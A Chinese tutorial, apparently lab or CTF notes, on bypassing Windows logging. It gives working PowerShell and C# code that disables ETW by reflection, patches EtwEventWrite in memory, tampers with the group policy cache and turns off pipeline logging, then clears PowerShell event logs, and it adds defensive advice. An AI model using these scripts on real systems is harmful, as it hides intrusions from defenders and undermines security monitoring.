绕过技术-日志和监控绕过
前置基础
虽然很容易想到直接删除日志来规避日志记录,但一般现代环境中日志会启用日志转发,将日志转发到其他设备进行保护,就算是在转发前将日志删除了,也不能规避被发现,首先没有日志就很可疑,然后篡改/删除日志也有对应的日志记录:
| 事件 ID | 目的 |
|---|---|
| 1102 | Windows 安全审计日志被清除时的日志 |
| 104 | 日志文件被清除时的日志 |
| 1100 | 当 Windows 事件日志服务被关闭时记录日志 |
虽然也有办法绕过但对日志的处理带来的风险很高。
跟踪机制
ETW 被分为三个独立组件,协同工作以管理和关联数据:
| 组件 | 功能 |
|---|---|
| 提供者 | 构建和配置会话,是决定数据如何以及在哪里流动的应用程序。 |
| 控制器 | 用于生成事件,告诉提供程序如何操作,然后从其指定的源收集日志。应用程序等 |
| 消费者 | 解释事件,选择会话并从该会话或多个会话中解析事件。事件管理器。 |
ETW内部的数据流/会话流:

绕过-禁用日志记录
powershell反射
原理:在PowerShell中,攻击者可通过反射(Reflection)技术修改.NET程序集内部字段,从而禁用ETW(Event Tracing for Windows)的事件日志记录,达到规避检测的目的。
反射(Reflection):.NET特性,允许在运行时动态访问、修改程序集的元数据( .NET 程序集中,存储着描述其包含内容的信息),包括私有字段。攻击者利用此特性篡改程序行为。
PowerShell 反射可以分为四个步骤:
- 获取
PSEtwLogProvider的 .NET 程序集。 - 将
etwProvider字段存储为空值。 - 将
m_enabled字段设置为先前存储的值。
PSEtwLogProvider:PowerShell的.NET程序集,负责将日志事件发送到ETW。其内部字段(如
etwProvider和m_enabled)控制日志功能是否启用。
详细步骤
1. 获取PSEtwLogProvider类型
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
[Ref].Assembly:获取当前PowerShell会话的反射程序集。GetType:定位PSEtwLogProvider类型,该类型包含ETW日志功能的关键字段。
2. 提取etwProvider字段并置空
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
GetField('etwProvider', 'NonPublic,Static'):获取etwProvider字段(非公开、静态)。GetValue($null):因字段是静态的,需传递$null作为实例参数,获取其当前值(此处为ETW提供程序实例)。
3. 禁用ETW日志记录
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider, 0)
GetField('m_enabled', 'NonPublic,Instance'):获取EventProvider类的m_enabled字段(非公开、实例级别)。SetValue($etwProvider, 0):将m_enabled设为0,禁用ETW日志功能。
[!IMPORTANT]
Tips:
- 此powershell脚本本身会触发日志,生成7个事件,但执行后,不会再生成事件。
- 仅在当前会话生效,重启PowerShell需重新执行;可能被高级监控手段(如内核ETW、AMSI)捕获反射行为。
- 禁用ETW后,安全工具无法通过事件ID 4104监控PowerShell恶意活动(如混淆脚本、远程下载)。
对跟踪函数进行内存补丁
由于每个新进程启动时,ETW都会通过CLR(公共语言运行时)加载到内存中,用户态代码通过当前进程直接发送ETW事件,那么就可以通过修改内存中函数的机器指令(opcode),改变其行为(比如使其提前结束)。这里是禁用EtwEventWrite的日志记录功能。
修补原理
ETW(事件跟踪)是由函数 EtwEventWrite 写入的。为了识别“修补点”或返回点,可以查看该函数的反汇编代码,找到一个会返回函数或停止函数执行的指令码,比如ret指令,将本来在函数结束时才有的ret改到函数开始,那么函数一开始就结束,不再执行原本的函数体。
从下面的汇编代码中可以确定 ret 14h 会结束函数并返回到前一个应用程序:
779f2459 33cc xor ecx, esp
779f245b e8501a0100 call ntdll!_security_check_cookie
779f2460 8be5 mov esp, ebp
779f2462 5d pop ebp
779f2463 c21400 ret 14h
ret指令的作用:从栈顶弹出返回地址,并跳转到该地址继续执行。
ETW 补丁可以分解为五个步骤:
- 获取
ETwEventWrite的句柄 - 修改函数的内存权限
- 将操作码字节写入内存
- 重置函数的内存权限(可选)
- 清除指令缓存(可选)
攻击步骤
1. 获取EtwEventWrite函数句柄
var ntdll = Win32.LoadLibrary("ntdll.dll"); // 加载ntdll.dll
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite"); // 获取函数地址
LoadLibrary:加载动态链接库到进程内存。GetProcAddress:获取导出函数的地址。
2. 修改内存权限
uint oldProtect;
Win32.VirtualProtect(
etwFunction, // 目标地址
(UIntPtr)patch.Length, // 修改区域大小
0x40, // 新权限:PAGE_EXECUTE_READWRITE(可执行、读、写)
out oldProtect // 保存原始权限
);
VirtualProtect:Windows API,用于更改内存区域的保护属性。0x40表示允许读写和执行。
3. 写入补丁指令
byte[] patch = { 0xc2, 0x14, 0x00 }; // ret 14h的操作码
Marshal.Copy(
patch, // 源数据(补丁字节)
0, // 源数据起始索引
etwFunction, // 目标地址
patch.Length // 复制字节数
);
Marshal.Copy:将字节数组复制到非托管内存,覆盖原函数指令。
4. 恢复内存权限(可选)
Win32.VirtualProtect(
etwFunction,
(UIntPtr)4,
oldProtect,
out uint oldOldProtect
);
- 将内存权限还原为原始值,避免引起异常检测。
5. 刷新指令缓存(可选)
Win32.FlushInstructionCache(
etwFunction, // 目标地址
IntPtr.Zero // 缓存范围(此处为全部)
);
FlushInstructionCache:确保CPU执行更新后的指令,而非缓存中的旧指令。
观察结果
在将操作码写入内存后,可以再次查看反汇编的函数来观察函数:
779f23c0 c21400 ret 14h
779f23c3 00ec add ah, ch
779f23c5 83e4f8 and esp, 0FFFFFFF8h
779f23c8 81ece0000000 sub esp, 0E0h
可以看到原本在函数结束时的ret指令被移动到开头了,那么这个函数一开始就会被结束,失去原本的功能,达到绕过的目的。
[!IMPORTANT]
Tips:在不同的环境中,它可能不是最佳方法,因为它可能会限制您希望保留的完整性日志。
组策略接管
组策略机制
ETW默认不会开启所有日志记录,但可以修改其父策略的 组策略对象 (Group Policy Object,GPO) 设置来启用,通过修改 GPO 策略可启用 ETW 的详细日志功能,增强对 PowerShell 活动的监控。
PS:GPO(组策略对象)指Windows 域环境中用于集中管理计算机和用户配置的策略工具。
PowerShell 日志类型
ETW 针对 PowerShell 提供两种关键日志提供程序,需通过 GPO 启用:
1. 脚本块日志记录(Script Block Logging)
- 作用:记录 PowerShell 会话中所有脚本块的执行内容。
- 事件 ID:
- 4103:记录命令调用(Command Invocation)。
- 4104:记录脚本块执行(Script Block Execution),对攻击者威胁最大。
- 示例日志(4104):
事件 ID: 4104 来源: Microsoft-Windows-PowerShell 类别: 执行远程命令 日志: Microsoft-Windows-PowerShell/Operational 消息: 创建脚本块文本(第 1 段,共 1 段): Write-Host PowerShellV5ScriptBlockLogging 脚本块 ID: 6d90e0bb-e381-4834-8fe2-5e076ad267b3 路径:- 风险:未混淆的恶意脚本(如
Write-Host)会直接暴露在日志中。
- 风险:未混淆的恶意脚本(如
2. 模块日志记录(Module Logging)
- 作用:记录 PowerShell 模块的详细活动,包括命令参数和上下文信息。
- 事件 ID:4103(与脚本块日志共用 ID,但内容更详细)。
- 示例日志(4103):
事件 ID: 4103 来源: Microsoft-Windows-PowerShell 类别: 执行管道 日志: Microsoft-Windows-PowerShell/Operational 消息: 命令调用(Write-Host): "Write-Host" 参数绑定(Write-Host): 名称="Object"; 值="TestPowerShellV5" 上下文: 严重性 = 信息 主机名 = ConsoleHost 用户 = DOMAIN\\username Shell ID = Microsoft.PowerShell- 特点:日志极详细(如记录参数值
TestPowerShellV5),但可能因数据量过大被忽视或禁用。
- 特点:日志极详细(如记录参数值
日志启用方式
通过组策略(GPO)启用:Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
需手动配置以下策略:
- 启用脚本块日志(EnableScriptBlockLogging)
- 启用脚本调用日志(EnableScriptBlockInvocationLogging)
攻击技术:反射篡改组策略缓存
核心原理:PowerShell 运行时将 GPO 设置缓存在内存的 cachedGroupPolicySettings 字典中(位于 System.Management.Automation.Utils 类)。由于程序集与用户共享安全上下文,攻击者可通过 反射(Reflection) 修改此缓存,动态禁用日志记录。
组策略接管可以分为三个步骤:
- 从工具缓存中获取组策略设置。
- 修改通用提供程序为
0。 - 修改调用或模块定义。
攻击流程
(1)获取组策略缓存字典
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
NonPublicStatic:访问私有静态字段,绕过常规权限限制。
(2)禁用脚本块日志(4104 事件)
# 利用 GPO 变量将任何事件提供程序设置修改为 0,EnableScriptBlockLogging 将控制 4104 事件,限制脚本执行的可见性。
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
(3)禁用模块调用日志(4103 事件)
# 重复第二步操作,EnableScriptBlockInvocationLogging 将控制 4103 事件,限制 cmdlet 和管道执行的可见性
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
完整示例代码
#gpo-bypass.ps1
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static');
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null);
If ($GroupPolicyCache['ScriptBlockLogging']) {
$GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
$GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptBlockLogging', 0);
$val.Add('EnableScriptBlockInvocationLogging', 0);
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val
};
攻击效果验证
- 执行前:
Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count # 输出:3(执行 whoami 后生成 3 条日志) - 执行攻击脚本后:
.\Disable-PSLogging.ps1 whoami Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count # 输出:3(无新增日志)
技术特点
- 内存级修改:仅影响当前 PowerShell 会话,重启后恢复原始设置。
- 无持久化:不修改注册表或磁盘文件,隐蔽性高。
- 依赖反射:利用 .NET 反射机制绕过权限检查。
技术对比与防御建议
-
与 ETW 内存补丁法的对比
技术 ETW 内存补丁 组策略缓存篡改 作用范围 全局禁用 ETW 日志 仅禁用 PowerShell 特定日志 隐蔽性 高风险(可能影响系统功能) 低风险(针对性修改) 持久性 需进程重启后重新应用 仅当前会话有效 检测难度 易被内存扫描工具发现 难(依赖行为分析) -
防御建议
- 强制启用 GPO 日志策略:
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableScriptBlockLogging" -Value 1 -Force - 监控反射操作:
- 使用 AMSI(反恶意软件扫描接口) 检测异常 PowerShell 脚本。
- 部署 Sysmon 记录敏感进程行为(如访问
System.Management.Automation.Utils)。
- 日志完整性保护:
- 将日志实时传输至只读的 SIEM(如 Splunk),防止本地篡改。
- 限制 PowerShell 权限:
- 启用 约束语言模式(Constrained Language Mode)。
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
- 强制启用 GPO 日志策略:
总结
- 攻击本质:通过反射篡改内存中的组策略缓存,动态禁用 PowerShell 日志功能。
- 优势:无需修改持久化配置,隐蔽性强。
- 防御核心:结合策略加固、行为监控与日志保护,阻断反射滥用。
- 关键命令检测:监控对
cachedGroupPolicySettings字段的反射访问行为。
日志管道滥用
在 PowerShell 中,每个模块或插件都有一个设置,任何人都可以用来修改其日志记录功能,当LogPipelineExecutionDetails 属性值为 true 时,Windows PowerShell 会将 cmdlet 和函数执行事件写入会话的 Windows PowerShell 日志,但这个可以更改为 false 以禁止日志记录。
日志管道技术可以分为四个步骤:
- 获取目标模块。
- 将模块执行详细信息设置为
$false。 - 获取模块插件。
- 将插件执行细节设置为
$false。
$module = Get-Module Microsoft.PowerShell.Utility # 获取目标模块
$module.LogPipelineExecutionDetails = $false # 将模块执行详细信息设置为 false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # 获取目标PowerShell管理单元
$snap.LogPipelineExecutionDetails = $false # 将 PowerShell 管理单元执行详细信息设置为 false
Tips:此脚本块可以附加到任何 PowerShell 脚本中,或在会话中运行以禁用当前导入模块的模块日志记录。
实操案例
日志监控绕过
使用powershell反射绕过+日志管道滥用的方法绕过日志监控:
cd .\Desktop\
# powershell反射绕过
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
# 管道滥用
$module = Get-Module Microsoft.PowerShell.Utility
$module.LogPipelineExecutionDetails = $false
$snap = Get-PSSnapin Microsoft.PowerShell.Core
$snap.LogPipelineExecutionDetails = $false
脚本执行日志清理
通过筛选,清理脚本执行后产生的4103和4104日志,位于 Application and Service Logs/Microsoft/Windows/Powershell/Operational:


至此,在成功绕过了日志的监管
获取flag
执行目标程序,获取flag:


浙公网安备 33010602011771号